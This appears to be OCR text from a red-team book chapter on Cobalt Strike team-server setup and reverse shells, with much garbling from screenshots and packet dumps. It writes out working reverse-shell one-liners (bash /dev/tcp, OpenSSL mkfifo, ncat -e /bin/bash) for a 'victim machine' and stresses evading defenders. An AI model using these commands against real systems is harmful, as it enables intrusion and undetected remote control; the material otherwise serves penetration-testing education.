Scripted web delivery

This technique is used to deliver the payload via the web. To continue, click on
the button shown in the following screenshot:

| NN
Cobalt Strike View Attacks Reporting Help

OB (O E=S¢ BEPH w0 fa B g

Setup Scripted Web-Delivery

A scripted web delivery will deliver the payload to the target system when the
generated command/script is executed on the system. A new window will open
where you can select the type of script/command that will be used for payload
delivery. Here, you also have the option to add the listener accordingly:

Cobalt Strike View Attacks Reporting Help

OB QO H=¢ BILPU B0 /e B G

00 ®

This attack hosts an artifact that delivers a Cobalt Strike payload. The provided
one-liner will allow you to quickly get a session on a target host.

Scripted Web Delivery

URI Path: |/a ]

Local Host: |192.168.2.6 |

Local Port: 80 |

Listener: [_RethtpSBeamn_ 'H Add ]

Type: !ipnwerf.hell




File hosting

Files that you want to host on a web server can also be hosted through the Cobalt
Strike team server. To host a file through the team server, click on the button
shown in the following screenshot:

| NN ]
Cobalt Strike View Aftacks Reporting Help
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Host a file

This will bring up the window where you can set the URI, the file you want to
host, the web server's IP address and port, and the MIME type. Once done, you
can download the same file from the Cobalt Strike team server's web server. You
can also provide the IP and port information of your favorite web redirector. This
method is generally used for payload delivery:



Cobalt Strike View Attacks Reporting Help
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L oK Host File
Host a file through Cobalt Strike's web server

File: [

Local URT:  |/download/file.ext

Local Host: |192.168.2.6

Local Port: |80

Mime Type: Ifaautnmaﬂc

application/acad
application/arj
application/astound
application/clariscad
application/drafting
application/dxf
application/hta

-




Managing the web server

The web server running on the team server, which is generally used for file
hosting and beacons, can be managed as well. To manage the web server, click
on the button shown in the following screenshot:

‘200
Cobalt Strike View Attacks Reporting Help
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Manage Web Server

This will open the Sites tab where you can find all web services, the beacons,
and the jobs assigned to those running beacons. You can manage the jobs here:
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Server switchbar

The Cobalt Strike client can connect to multiple team servers at the same time
and you can manage all the existing connections through the server switchbar.

The switchbar allows you to switch between the server instances:
l

Event Log X

86/19 23:17:47 harry
06/22 13:39:47 himanshu

[86/22 13:48] himanshu
E

| harry@192.168.2.6 | himanshu@192.168.2.6|

You can also rename the instances according to the role of the server. To do this,
simply right-click on the Instance tab and you'll get two options: Rename and



86/19 23:17:47 harry
06/22 13:39:47 himanshu

[06/22 13:48] himanshu_

| harry@192.168.2.6 | himansh{ Disconnect a

Disconnect:

You need to click on the Rename button to rename the instance of your choice.
Once you click this button, you'll be prompted for the new name that you want to
give to your instance:

& v

Event Log X

06/19 23:17:47 harry
06/22 13:39:47 5 Input

Rename to?

thimanshu@192.168.2.6

| OK HCanceI|

[06/22 13:49] himanshu

event>

| harry@192.168.2.6 | himanshu@192.168.2.6

For now, we have changed this to espionageserver:



86/19 23:17:47 harry

06/22 13:39:47 himanshu

[06/22 13:50] himanshu

event-|] |

| harry@192.168.2.6 | EspionageServer |

Renaming the switchbar helps a lot when it comes to managing multiple sessions
from multiple team servers at the same time.



Customizing the team server

The team server is just a bash script that executes the cobaltstrike.jar file for
starting the server. By default, the Armitage team server runs on port 55553/tcp
and the Cobalt Strike team server runs on port seese/tcp (both use SSL for
communication initiation). Being the default port, it's easy for someone else to
find your team server on the internet and try to connect to it in order to get
access to your compromised hosts. Consequently, to protect your team server
from attacks, you need to think of a few ways to protect it from other attackers.
These may include the following:

e Use a strong password for team server authentication [EASY]

e Whitelist your IP from the team server firewall and deny all other IPs (this
could be messy if your IP is dynamic) [MEDIUM]

e Block the ssss3/tcp port from the firewall on the team server and tunnel this
port to your system (reverse SSH tunnel) [HARD]

e Customize the team server and change the port [EASY]

To customize the script, first you need to look for the teanserver file in your
cobaltstrike directory. You can do this by executing 1s -ain:



e lomb13u cobaltstrike HEFFF$ 5 -3lh

X 0 13 Harry staff 4166 Jul 16 1153 .
Wi------1 499 Harry staff 16K Jul 10 00:68
' [ farry staft L4k Jun 11 17:43 .cobaltstrike.beacon keys
| Harry staff 1268 May 23 2017 agscript

1
I
I Harry staff 144B Ma )17 c2lint
I
1
I

| Harry staff 938 May 23 2017 Fﬂh?lT“TF'FP
| Harry staff 20N Apr 4l
Lroot staff 23K May 28
§ root staff 'f*E IHH '4 337 ddTi

ir-x 3 root  staff 13:50 downloads
ar-x 15 root  staff 11:40 Togs

@ 1 Harry staff '.B{ Jul 10 11754 teamserver

@ 5 Harry staff 1688 Sep 7 2017 third-party
o cobaltstrike Hiff

Next, open the file with an editor of your choice. This may include nano, pico,
vim, vi, leafpad, or gedit, but I prefer to use nano: nano teamserver

| 3x¥x: cobaltstrike Harryd
| cobaltstrike Harry$

cobaltstrike Harry$ nano teamserwver

Once this has opened, go to the end of the file and look for the line keytoo1 -
keystore ./cobaltstrike.store. This line generates an X509 certificate for SSL use:



F Qenerate a tertiTicate

B NA0UFALLY YOU're WeLcone 10 replace IS Step WITh your oW permanent certIcate
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| 2380 10 | 1115 15 Used Tor Settine Uy
fan 0L server socket, ALSo, the -] dhgest of the Hrst certificate In the stor
 printad 50 Users may have & chance o vertfy Ehey're not beng ouned
1f 1 -0 Jcobaltstribe. store | the

You should now change the SSL certificate information. By default, Cobalt
Strike generates the SSL certificate with cn=Major cobalt strike,
OU=AdvancedPenTesting, O=cobaltstrike, L=Somewhere, S=Cyberspace, C=Earth dS the SSL
information, but you can change this to your liking:



# generate a certificate
# naturally you're welcone to replace this :;Nr*‘: r iii| JOU 0NN pernanent certimicate.
| | (eyatore="/path/to/whatever” anc
W0 ll ] ), 1015 19 used for setbing up
 the first certificate n the store
§15 printed 5o users may have 3 chance to ver r Ti"|»'--=.‘.f‘ 18 0% eing ouned.
) ||’Hu ehorg ': : | '

orint info "Will use existing K589 certificate and keystore (for

4

( int 1nfo "Gener ~.t."|:::"-"i-1‘ L)
fnane "CA III balt U=AdvancedPenTesting, O=cobaltstrike, L=Somewhere, S<(yberspace, C=tarth’
f

For now, we have changed this to cn=evil corp, ou=1T, 0=ECorp, L=Atlanta, S=xxx, C=Mars:
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You now need to look for the last line, which is java -xx:parallelccThreads=4, and
you should also look for the value for -pcobaitstrike.server_port. Change this to the
port you want to access the team server at:

trike. server _port=20030 -Djavar.net 551 keydtore=. /cobalts

# start the team server.
ava -k ParallelGCThreads=4 -Dcobaltstrike, server [Hl[ 31337 HH net. HH tore=,/




Using the quick cat command, you can confirm your changes in the team server
script:

;cobaltstrike Harryd cat teamserwver

Start Cobalt Strike Team

(thanks
function print C {
acho =& "% 8l; 22m V1B [@Em $1

As you can see in the following screenshot, the changes are confirmed and saved
properly in the team server script. Now our team server is ready to roll!
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Run the team server using sudo along with the IP and password required for
authentication:



']M

l$l !
1] Te

“ M 5./ IHHIIHIH trike. con/hel -Ma MalLeaple-cLpvalidasl
] n [Tmsa 1al Version mnawn]

In our previous connection profile, we were connecting to port seese to access the
team server, but now we need to use the port that we changed:

Connect

This is the connect dialog. You should use it to connect to a Cobalt Strike (Aggressor)
team server,

Host  |192.168.0.6

Port: (50050

User: Iharr*,r

Password: |k

|_ Connect || Help |



Here, mentioning port 31337 is enough to log in to the team server:

Connect

This is the connect dialog. You should use it to connect to a Cobalt Strike (Aggressor)
team server.

Host: 192.168.0.6

Port: 31337

User: harry

Password: ¥+

| Comect || e |




You will be logged in and the Cobalt Strike interface will be displayed:
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Summary

This chapter started by exploring the red-team exercise as well as the concept of
the cyber kill chain, which can be used for an attack plan. We then introduced
the tool that is used for red-team operations, Cobalt Strike. Here, we also
covered team servers, the Cobalt Strike installation and setup, and finally, the
Cobalt Strike interface. At the end of this chapter, we customized the team server
script by accessing it on a different port.

In the next chapter, you will read about reverse shell connections and how you
can get them from the compromised server in a secure way so that the
connection is not detected.



Questions

w

o o

. Is it absolutely necessary to plan the attack? Why not just hack it like we do

normally?

Is Cobalt Strike free?

Can we run multiple team servers on the same instance?

My team server's fingerprint is different than the one I'm seeing on the
display. What could be the reason for this?

Does Cobalt Strike require the Metasploit framework?

How can we use Cobalt Strike to exploit a system and get access to it?
What else can we customize in the team server script?



Further reading

For more information on the topics discussed in this chapter, please visit the
following links:

¢ Red Team Operations: Determining a Plan of Attack: nttps://ww.fireeye.
com/blog/products-and-services/2016/08/red_team_operations.html

¢ Red-team tools: http://psos-security.com/red-teaming-a-tool-for-continuous-improv
ement/

L4 Anatomy of a well-run red-team exercise: https://www.csoonline.com/article/3
250249/network-security/anatomy-of-a-well-run-red-team-exercise.html

° redteam-plan: https://github.com/magoo/redteam-plan

e CobaltStrike: https://www.cobaltstrike.com/


https://www.fireeye.com/blog/products-and-services/2016/08/red_team_operations.html
http://psos-security.com/red-teaming-a-tool-for-continuous-improvement/
https://www.csoonline.com/article/3250249/network-security/anatomy-of-a-well-run-red-team-exercise.html
https://github.com/magoo/redteam-plan
https://www.cobaltstrike.com/

JReverseShell

In this chapter, we will focus on getting a reverse connection from an exploited
system. We will also cover different methods for getting a secure reverse
connection, explaining the difference between a non-encrypted and encrypted
channel by showing the noise level it creates in the network using tcpdump for
packet-level analysis.

When penetration testing, it is common to encounter the issue of getting a shell.
In this case, individuals either upload a web shell on the target site and interact
with the server or they execute a command to get the reverse connection. In both
cases, if the scope of testing includes internal network recon, then reverse shell
connection is a must.

For beginners, getting a reverse shell is very interesting. However, many of them
don't realize how careless it is to move forward with this without gaining the
proper knowledge first. This carelessness could cause their web shell to be
deleted from the server, or worse, the vulnerability that let them upload the web
shell onto the server could get patched. This is what differentiates a red-team
engagement from penetration testing. Unless you're able to answer all of the
following questions with a yes, proceed with caution:

e Are you getting the reverse shell on common ports (se, 443, 53) or have you
used any uncommon ports (4444, 1337, 31337, and so on) for the connection?

e Does your reverse shell communicate over an encrypted channel?

e Did you generate your reverse shell payload from a publically known tool,
such as Metasploit Framework or Empire? If you did, have you used any
obfuscation or encoding on the payload?

In a red-team engagement, the objective is to get a stealthy reverse shell
connection so that the defenders of the organization can't detect our presence in
the network. Before using a weapon, always make sure that you understand the
weapon first; that is, you need to understand what exactly a reverse connection
and a reverse shell connection is.

In this chapter, we will cover the following topics:



Introduction to reverse connections

Introduction to reverse shell connections

Plain versus encrypted reverse shells (netcat/powercat/ncat/socat/cryptcat)
* reverse_tcp VEI'SUS reverse_https

reverse_https With custom SSL certificate

meterpreter OVEer ngrok

Quick cheat sheet for reverse shells



Technical requirement

e Metasploit Framework
® netcat, socat, cryptcat, powercat

® ngrok



Introduction to reverse connections

When the user connects to a server, the user binds its socket with the server's
port. This is called a bind connection. Bind connections are only possible if
incoming connections are allowed by the firewall. In a situation in which
incoming connections are restricted, a user can ask the server to connect back.
Firewalls generally restrict incoming connections but don't restrict outgoing
connections. When the server makes an outgoing connection to the user, this is
called a reverse connection.



Unencrypted reverse connections
using netcat

Reverse connections can be initiated over an unencrypted channel or an
encrypted one. To understand reverse connections, let's use a tool called netcat.

We started the listener on port sese and checked whether or not the port was in
the L1sten state by using the following command:

nc -1lv 8080
netstat -an | grep 8080

xkxZonb13xKx:~ Harry$ nc -b end -1y 8080

[ 0K |  Harry — -bash — 80x24

xkxZonb13xkx:~ Harry$ netstat -an | grep 8080
tepd 0 0 *.50%0 FEo o LISTEN
xkxZombidxkx:~ Harry$

The -b option is intended for the interface to listen on. This option is only
available on a few versions of netcat.

Let's start tcpdump On port sese. tcpdump Will help us analyze network packets on the
wire. To start tcpdump, Tun the following command: sudo tcpdump -XX -i lo0
port 8080 (-i is used to capture packets on localhost interface)



0Ce Harry — tepdump « sudo — 80x24

xXxZomb13xkx:~ Horry$ sudo tepdump -XK -1 1od port 8080
tepdump: verbose output stppressed, use -v or -wv for full protocol decode

L1stening on lod, [ink-type NULL (BSD loopback), capture size 262144 bytes

Now let's wait for the client to connect to our netcat server:



hezonbi3ekx:~ Harryd nc -b end -1v 5080

(heZonbi3¢Kx: HarryS nc 192.168.2.6 8080 -v
found 0 assoclations
found 1 comections:
11 Flags=B2OMECTED, PREFERRED:
outif Lo
S 192.168.2.6 port 5337
dst 192.168.2.6 port 8080
rank nfo not available
TP aur nfo ovarlable

(I | Harry — topdump « sudo — 7624
4 packets captured
5 packets received by filter
0 packets dropped by kemel
hxZonbi3uhe: Harry§
RZonbi3x Harry§ sudo-tcpdump KK -1 1od port 8060
i -y or -w for full protocol decode
)

g e vt s (omecton to 192.168.2.6 port 8080 [tcp/http-olt] stcceeded!

Listening on Lod, Tink-type NULL (BSD Toopback), capture Size 262144 bytes
20:08:36. 310766 TP 192.168.2,6.5%376 > 192.168.2.6.ttp-alt: Flags [SEH], e
qWWWMM%oMmM%meMHwWEMWS
90724 ecr 0, sack(k, eol], length @
Oxd00: 6200 0000 4500 (4D 0000 4000 4006 0080 ...F..0..8.4,..
0d0010: - clob 0206 chod 0206 dDB0 190 e85 0640 .....vuvven, |
WMWWWW%WWW
Ocl00: 0103 0305 101 0600 1f0c 2064 0000 0000 ......... Mo
W%WW
zwmmmmwwﬁwﬁmmulwmzuma s [S.F], s
mwmmmmmmmmmmmmmmm
Jnop, TS val. SAOR724 ecr SA0R90724, sack(, eol], length 0
Ox00: 0200 0000 4500 (04D 0000 4000 4006 00A0 ...E..8..8.4,..
0e0010: cod 0206 chob 0206 190 080 1993 dbcc +vvuvvnnna ..
Od020:  e85d 0ed1 0052 FFFF 838F 000 04 Xfdb .0
Od000: 0103 0305 101 0800 1f0c 2964 1R 294 .......... ). )d
Delid: 0402 0000
20:06:36. 310932 IP 192.168.2,6.5%376 » 192.168.2 mwllg[]k




Now that the connection has been established, let's try sending some sensitive
information. In this case, I'm sending the passcode exs12 t0 Himanshu:
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Due to the unencrypted nature of this connection, tcpdump Was able to sniff the
passcode easily. Can we send this critical information over an encrypted
channel? Yes, we can!



Encrypted reverse connections using
OpenSSL

To encrypt our communication, we will use SSL here. To do that, we first need
to generate an SSL certificate. We can generate a custom SSL certificate using
the following command: openssl req -x509 -newkey rsa:4096 -keyout key.pem
-out cert.pem -days 365 -nodes

req -x509 - requests from openssl to generate X.509 certificate -newkey
rsa:4096 — generate new keys with size 4096 using RSA -keyout key.pem -
saves the keys in key.pem file -out cert.pem - saves the certificate in
cert.pem file -days 365 — certificate valid for 365 days



i Hary = -ash = 12630

$mﬂm5%wwmm -heyout ey pen -0ut cert.pem -days 365
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The nodes command is not nodes; it's no DES. This refers to the fact that the
private key will not be encrypted and saved in the rkcs#12 file. Without this
option, the private key will be encrypted with 3DES-CBC.

Now that the certificate has been generated, let's start our server to listen for
incoming connections on port sese. This can be achieved using the following
command: openssl s_server -quiet -key key.pem -cert cert.pem -port 8080

(N | Hatry — openss! 5 server -auist -key key.pem -cert cert pem -port 8080 — 125x30
kxZonb3ex:~ Harry$ openssl s_Server -quiet -key key.pen -cert cert.pen -port 8080

The following commands are defined as follows:

® s server: This starts a generic SSL/TLS server which accepts incoming
connections

-quiet: NO server output

-key: Private key generated

-cert: X.509 certificate

-port: Listening for SSL connections on port seso

Let's try to connect the client with the server and send the passcode. The client
can connect with the openss1 server using the following command:

| openssl s_client -quiet -connect <IP>:<port>
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As we can see in the tcpdump Terminal, the passcode sent over the wire is now
encrypted. This can be used to get an encrypted reverse shell. But before that, we
should understand the concept of reverse shell connections.



Introduction to reverse shell
connections

A reverse shell is a type of shell in which the target server connects back to the
attacker machine. For example, an attacker finds a target server with port 21/tcp,
go/tcp and 443/tcp in open state and the FTP service running on port 21/tcp is
vulnerable. Let's say an attacker exploits this port in order to open another port
1337/tcp ON the target server for shell connection, as shown in the following
diagram:

sl TARGET SERVER
G
A ROLT
MACHINE | | i
= Connects to port 21 tep for service Allow port 21, 80,
exploitation 443 from anywhere
. . B Block every other
Attacker exploits FTP service to open port 1337 /tcp *
on target server for shell connection LU/
60/tep
M3ftep
1337 tep

Credit goes to https://creately.com/ for network architectural diagrams

The problem arises when the attacker tries to connect to the target server on port
1337/tcp. The attacker is not able to connect to port 1337/tcp. Why? Because the
firewall blocked that port. The firewall can only allow port 21/tcp, se/tcp and
aa3/tcp for incoming connections and it will block all other ports, as shown in the
following diagram:



ATTACKER Q
MACHINE TARGET SERVER

am|  Comnectontoport 1337 epis Allow port 21,80,
BLOCKED by te vl 43 rom anywhere

Block every other
Connects to port 1337 /tcp for shell part

A/tep
connection

60/tcp
Mt
1337 /tep

This is a typical case scenario of a failed attempt at a bind shell connection. In
this situation, the attacker needs to understand the firewall rules and find a
workaround to get the shell connection. So, what if the attacker uses a port
allowed from the firewall? If the attacker uses any one of the available ports,
21/tcp, 80/tcp OF 443/tcp, Will it be possible to get a shell connection? Let's say the
attacker exploits the FTP service to open port se/tcp; will that work? The answer
here is no. This won't work because the allowed ports from the firewall are
already in use by the target server and if the attacker tries to use port se/tcp, a
port already in use error will be thrown, as seen in the following diagram:
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apen port 0/tcpfr shel 80 ep port ey n use
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A solution to this problem is to let the target server connect back to you instead.
If the attacker cannot open port 21/tcp, 8e/tcp, OF 443/tcp ON the target server, they
can open the same port on their machine instead. This way, the target server can
connect back to the attacker machine on port 21/tcp, se/tcp, Or 443/tcp, which the
firewall already allows:

ATTACKER
wicHie  Momingcomectonfromtaret—— Alowport 24,80, TARGET SERVER
senveron ort B0/t orshel 43 bom amywhere B ool sucesly,
= b e I8 (2 Target server connects back to
il L atackermaching on port 0/
: B adbage
I.....I Cutgongcomecon o ot B
Block every other SNOTHIO0KED
Eplots FTPsenice and delvers te port ey
Dayload so that te taget server i
connects back f tis machine on Hit

port B/t

AN



Now that we have a clear understanding of reverse shell connections, let's try to
get a reverse shell using netcat. Remember: the communication will not be
encrypted.



Unencrypted reverse shell using
netcat

Let's start a listener on the attacker machine. This can be achieved by executing
the following command:

|nc -b <interface> -1lv <port>

| JOX | Harry — nc -b en0 -Iy
xXxZomb13xXx:~ Harry$ nc -b end -1v 8080

Our listener is ready for incoming connections on port seso.

Now let's execute the following command on the victim machine:

|Bash -i>& /dev/tcp/192.168.2.6/8080 0>&1

[ JON |  Harry — -hash — 65x24
xXxZombi3xKx:~ Harry$ bash -1 =& /dev/tcp/192.168.2.6/8080 0-81

Upon successful execution, the victim machine connects back to the attacker
machine, opening a bash shell:

000 Harry —nc -b
xXxZomb13xXx:~ Harry$ nc -b end -lv 8080

hash-4.4%

Now let's see what happens when the attacker executes basic commands, such as
whoami and id:



000 Harry = ¢ -b en0 -1 8080 - 9030

KhxZont3xk:~ Harry$ nc -b end -1y 8080
Dash-4.45 whoan

Harry

bash-4.45 1

=503 (Harry) qd=20(staff) groups=20(staft), 501 {access_bpf), 12(everyone) ,b1{ localaccount
S),79(_appserverusr), 30(admn ), 81(_appserveradn), 98(_lpadnin), 33(_ppstore), 100(_Lpaperato
1), J04(_developer), 250 _analyticsusers), 395 com. apple. access_ftp), 398(com. apple. ccess _scr
eensharing), 101(com. apple. access _ssh-disabled)

bash-4.45

The id command sent over the wire is displayed in plain text. The output of this
command is unencrypted as well:



e
=
—
=

=
—=

+Flags [, ], ock 7, win 12759, options [nop,nop, TS va

i command and its result. The output is

This is the same case with the whoam

unencrypted:



1 Harry = -bagh = 143:38
MMM%MPHMZMMW1WWMMWHQ[LmM&MMmHMwmﬂmm£M%MMW%
0184281, length 3: HTTP

0x0000; 0700 0000 4502 0037 0000 4000 4006 0000 ,...E..7..&6,.,
00010 o8 0206 cDad 0206 1190 16 099 Gefe vuvvvvervirvinns
0x0020:  Sede 910e 8018 31d6 8586 0000 0101 0800 ...\ livivvins
0x0030:  1f2c a78b 1f2c adbe 6964 Do il
20:4:09.565180 TP 192,168.2.6,53670 > 192,168.2.6.http-alt: Flags [.], ack 10, win 12759, options [nop,nop,TS val 52020171 ecr 523020171], le
ngth
(x0000: 0200 6000 4500 0034 0060 4000 4006 0000 ,,..F..4,.0.8,,,
00010:  cad 0206 o8 0206 106 1190 Sede YM0e vvvvviians N,
0x0020: 0099 f0L 8010 3147 8583 0000 0101 08da ...... bisivi
G0030:  1f2c a78h 1£2c a7t iy
MMM%WWW%ZWWH%%Mhmhl HsWM%MMMWmemeﬁWQMWWS
BONL7L), Tength 317: HTTP
(:000: 0200 0060 4562 0171 0000 4000 4006 000 ....F..q..E.8...
0r0010: o8 0206 a8 0206 dlab 190 Sede Mo ...vvvvnn, M.
00020: 0099 ffL 8018 3147 86ch 000 0101 08da ...... h.650al
WMW%MhMMM ,mm(
@M:' 873
0x0050: 6 £ 7510 7330 3230 2873 off). groups 20(
@MWMMNMMWMMMMW
00070: 562 7066 292¢ 3132 2665 7665 7279 bfbe _bpr), 12(everyon
Ox0080: 6529 2c36 3128 beo 6361 Gbl 6363 675 ), 61 localaccou
000%:  be74 7329 237 3928 ST61 7070 7365 7276 nts), 79(_appsery
Ox0ad: 6572 7573 7229 23 3028 6164 689 6829 erusr), B0(admin)
00000 238 3128 561 7070 7365 7276 6572 6164 B1(_appserverad
0x00c0: 6429 2c39 3828 Sf6c 7061 646d 6%6e 292 m), 98(_Lpadmn),
000dD: 3333 285¢ 6170 7073 746f 7265 292¢ 3130 33(_appstore), 10
0x00e0: 3028 Sf6c 106f 7065 7261 746F 7229 232 0(_Ipoperatar),2
000f0: 3034 285F 6465 7665 6c6F 7065 7229 232 DA(_deweloper),2
010100; 3530 285f 6168 616¢ 7974 6963 7375 7365 SO(_analyticsuse
0x0100: 7273 292c 3339 3528 636f 6d2e 6170 706c rs),395(com.appl
0X0120: 652 6163 6365 7373 566 7470 292¢ 3339 e access_ftp), 39
0x0130: 3828 636f 6d2e 6170 706¢ 652e 6163 6365 S(com.apple. acce
0NOM0: 7373 SF73 6372 6565 6e73 6861 7269 667 ss_screensharing
0X0150: 292 3130 3128 636f 6d2e 6170 706c 652e ), 101(com.apple
00160; 6163 6365 7373 573 7368 2d64 6973 6162 access_ssh-disab
Ded170:  6c65 6429 Do )




What could go wrong here? A network administrator who monitors the
organization's network can detect our presence in the network with this.

So, we go ninja here by encrypting the reverse shell for encrypted
communications. All hail OpenSSL!



Encrypted reverse shell for *nix with
OpenSSL packages installed

Assuming that we have already generated a custom X.509 certificate, we can
execute the following command on the attacker machine to listen for an
incoming reverse shell connection on port sese:

| openssl s_server -quiet -key key.pem -cert cert.pem -port 8080

(] ) Harry — apenssl 5 server -auiet -key key.pem -cert cert.pem -port 8080 — 90x3(0
xhxZom13xKx: Harey§ openssl s_Server -quiet -key key.pem -cert cert.pem -port 8080

Now let's execute the following command on the victim machine for a reverse
shell connection:

|mkfifo /tmp/z; /bin/bash -i < /tmp/z 2>&1 | openssl s_client -quiet -connect 192.168.2.€

(O | 2 Harry — -bash — 76x24
xkxZombi3xkes~ Harry$ mkfifo /tmp/z; /bin/bash -1 < /tmp/z 2:81 | openssl s_

client -quiet -connect 192.168.2.6:8080 > /tmp/z;rm /tmp/z

Upon successful execution, the attacker machine will get the following reverse
shell:



| (] ) Harry — apenssl s server -quiet -Key key.pem -cert cert.pem -port 8080 — §0x30
KhxZonbi3eee~ HarryS openssl s_server -quiet -key key.pem -cert cert.pen -port 8080
bad gethostbyaddr

bash-3.25

Let's try to execute the id and whoami command now:



XKxZonbi3xK:~ HarryS openssl s_server -uiet -key key.pem -cert cert.pem -port 8080 xkxZonbidxke:~ Harry§ mkfifo /tmp/z; /bin/bash -1 <

bad gethostbyaddr client -quiet -connect 192,168,2,6:8080 > /tap/z;m

bash-3,26 whoani depthed C = M) ST = XK, L= KK, 0= X6 00 = KK, N

Harry Kk iX

bash-3.26 1d verify ervor:nume18:self signed certificate

id=503(Harry) gid=20(staff) groups=20(staff), %1 (access_bpf), 12(everyone), 61( Tocalaccount verify retum:!

s}, 79(_appserverusr), 80 adwin), 81(_appserveradn), 8(_Ipadmin), 33(_appstore), 100(_poperato depthed = Xk, ST = ¥, L= XK 0= X OV = Xk (N
)

r), 204(_developer), 250 _analyticsusers), 395(com. apple. access.ftp), 39 (com. apple. access._scr BKK. X
eensharing), 101(con, apple, access_ssh-disabled) yerify return:1
bash-3.,.29

Harry = tepdump « sudo = 143138
0x0000: 0200 0000 4502 0186 0000 4000 4006 0000 ....E.....0.0,.,
0x0010: 0o 0206 chad 0206 d26c 190 286d bded ........ ,.(m.
0x0020:  a8bd deed 8318 318f 86d5 0000 0101 086a ...... Lt
0x0030:  1f3a d2a9 130 d2% 1703 0301 4db 1817 vl
Ox0040; 8058 9993 {844 488 bA%7 ladb fdbd afad K...D....... M,
0x0050; {91 b4 clbe 7c28 ZeeS 70f9 3529 beed . K. (. ).
0x0060:  £f9c 7826 6fel e2b4 f7a 8227 5787 Bcbe . .x(0....z."W..
WWWWMMW@WH(MH(
MM:WHMU 917 b4gh 0384 6037 1081 =, 9.k, 07,
0x0099:  03f8 Sabd 978 %WW%P~WW
@MWWHHMKWMWMMWI. ......... ..
(0x0000:  c2be 7590 b474 bed5 5203 5981 2dd6 4% ..0..b.RY.-L
0x00ch:  640b 8504 0784 2568 0a35 bfcf Bk 763 d..... 0050,
0x00d0:  £fof 98ec b754 23cL de2d 1504 5o %be .0...TE. AL,
W%M8M4Mbwmm.wdm
ﬂMwMMWMMMM@M}M

00100: 7954 afb7 2904 401t o730 ae%4 ebad €59 T.0).Foiian Y
Ox0110: daal 519¢ 934F 3500 475 cf02 co37 Aed ..0..05....
ﬂMﬁMMMHMMMWW¢$
Ox0130:  40cf 785 3035 0600 2fac ac33 baa3 6566 ©.3.:5../,.3..ef
00140: 8563 €31 Sud1 817 far0 3091 eefa 8983 .c..L....p;. 2.
Ox0150: 97fc 30ad 41dd 3708 3366 8393 bdad f574 L.0A73f..
0x0160: 1500 550b 8872 8651 4% 7372 qe6d 6d6d ..U..r.0.%sr, m
0N0L70: od7b 7931 1348 SPOF 074d 8677 2676 7209 . {yL.A_. e,
Ox0180:  856f 6d10 cOfd 302f dfr .0
20:59:40.069636 IP 192,168,2.6.http-alt > 192,168.2,6.53868: Flags [.], ack 397, win 12732, options [nop,nop, TS val SB%8713 ecr S348713], |
ength 0




Encrypted! *pab*

In cases in which we don't have the openss1 package installed on the client, we
can always use different tools. Let's try to get reverse shells using other tools.



Encrypted reverse shell using ncat

Ncat is a Swiss Army Knife tool just like netcat. It is provided by Nmap with
some extra features, such as proxy connections, universal OS support, encrypted
connections over SSL, and many more.

Let's execute the following command on the attacker machine to listen for
incoming encrypted connections on port sese:

ncat -1 8080 --ssl -v

hxZonb3xke: Harm cat -1 8080 —-ssl -v
Ncat: Version 7,60 ( https:. /map.org/ncat )

Ncat: Generating g mmmw 1024-hit RSA key. Use --ssl-key and --ssl-cert to use o pemanent one,
Neat: »

f
f

SHA-1 Fingerprint; BASF (242 9651 MB%BWM1%4W%B%E%%
cat Listening on +::808)
cat: Listentng on 0.0.0.0: 8080

Now that the listener is ready, let's execute the following command on the victim
machine:

|ncat 192.168.0.110 8080 --ssl -e /bin/bash -v



(] ) Harry — bash « ncat 192.168.0.110 8080 --ssl-& /binfbash -v— 143

«—Ncat -| 8080 -3l -v «—Dash «ncat 192.188.0.110 8080 -5l -2 [binfbash -v

XxZombi3xkx;~ Harmy$

XeZombi3xkx;~ Harmy$

RZonbn3ekx:~ Harey$ ncat 192.168.0.110 8080 --ss1 -e /bn/bash -y
Ncat: Verston 7,60 ( https://map.org/ncat )

cat: Subject: (He=localhost

I
Neat: Tssuer: Cl=localhost

Ncat: SHA-1 fingerprint: 3968 6058 DF2A 20C7 DEST ARGB 1104 E9BC DE4D FFIB
Ncat: Certificate vertfication fotled (self signed certificate).

Neat: SSL connection to 192,168.0,110: 8080,

Ncat: SHA-1 fingerprint: 3968 6058 DF2A 207 DEST ARGB 1104 E9BC DE4D FFIB

We did not provide any SSL certificate to ncat here. Consequently, ncat uses the default SSL
certificate for communication.

We have got the reverse shell! Now let's execute the i« command:



wAxZonbi3xde:» Horr§ ncat -1 8080 --ssl -y

cat: Version 7,60 { https: //rmap.ong/cat )

(at Generating a temporary 1024-0ut RSA Key. Use --ssl-Key and --Ssl-cert to use o permanent one,
cats SHA-1 fingerprint: 6ADF 0720 GAAD 1191 BY1D 4DRC 4FAB EOCO B267 62k

(0 1st entng on 5060
(at Listenng on 0.0.0.0:508)
cat: Comection fram 192.168.0.
cat: Comection fram 192.168.0.

110,
110:62416,

[
0
I
t
i
0
I
0

l
=503 (Harry) qua=201staff) qroups<20(staff ), 501 (access_onf ), 12(everyone), 11 Localaccounts), 79 _apps
erverusr), 80(adwin), B1(_appserveraan), %8(_Lpaduin), 33(_appstore), 100(_Lpoperator), 24(_developer), 250
(_analyticstsers), 395(com.apple. access_fFp), 398 com.apple. access Screensharing) 101 con, pple occess._
SR

Let's look at the tcpdump trace for this command:



16 20:45,297547 1P 192.168.0.110.62416 » 192.168.0.110.http-alt: Flags [P.], seq 708:1054, ack 944
, Win 12729, options [nop,nop, TS val 585993421 ecr 585993405], length 346: HTIP
(0x0000: 0200 0000 4502 018e 0000 4000 4006 0000 ....E.....0.0..,
0x0010:  chod 006e c0ad 006e £3d0 1690 deed 1775 ..MM,

0x0020: 1065 82da 8018 3109 $3ad 0000 0101 0800
0x0030:  22ed Sccd 22ed cbd 1703 0301 5509 Bl ..U,
0x0M0: 1535 €29 351 21fa cclf 7a12 6810 4343 5,701 Z.hEC
Ox0050:  36fd 0646 cd7a c7da 3255 bb3 bead 687¢ 6..F.z..20.8..0
0x0060:  8a0f 86d1 e979 abaf 9274 222e had 6adS ...yt
0x0070: 0977 2226 afdd 71fe ce36 b33 cd44 el W'h..q..8...08,
0x0080:  QacS B9 a5f2 1al5 4e83 076 4ffe Q4 ........ .. 0.0
0x0090: 719 4956 193 a1 9000 3688 5552 afbs
0x00ad:  880a 278b dcdd 9376 890 eSab €517 683

0x0000: 1320 3% 1307 0759 3720 3ddl 432 70 ...,

000cD:  5af8 411 973 ddd2 353c 4ef7 ceeh Y30 Z.A..S..
000D ba3c 86ed ca1d 4013 218 3fda blec 6bF2 |

0x00e0:  abdb 5966 27eh 2038 fhd2 278 Zodd dufe JFYE'*SL.LE.L
0000 589C 530 2665 13ab Lo54 e 340 M6 X.\b.e...T.T2A,
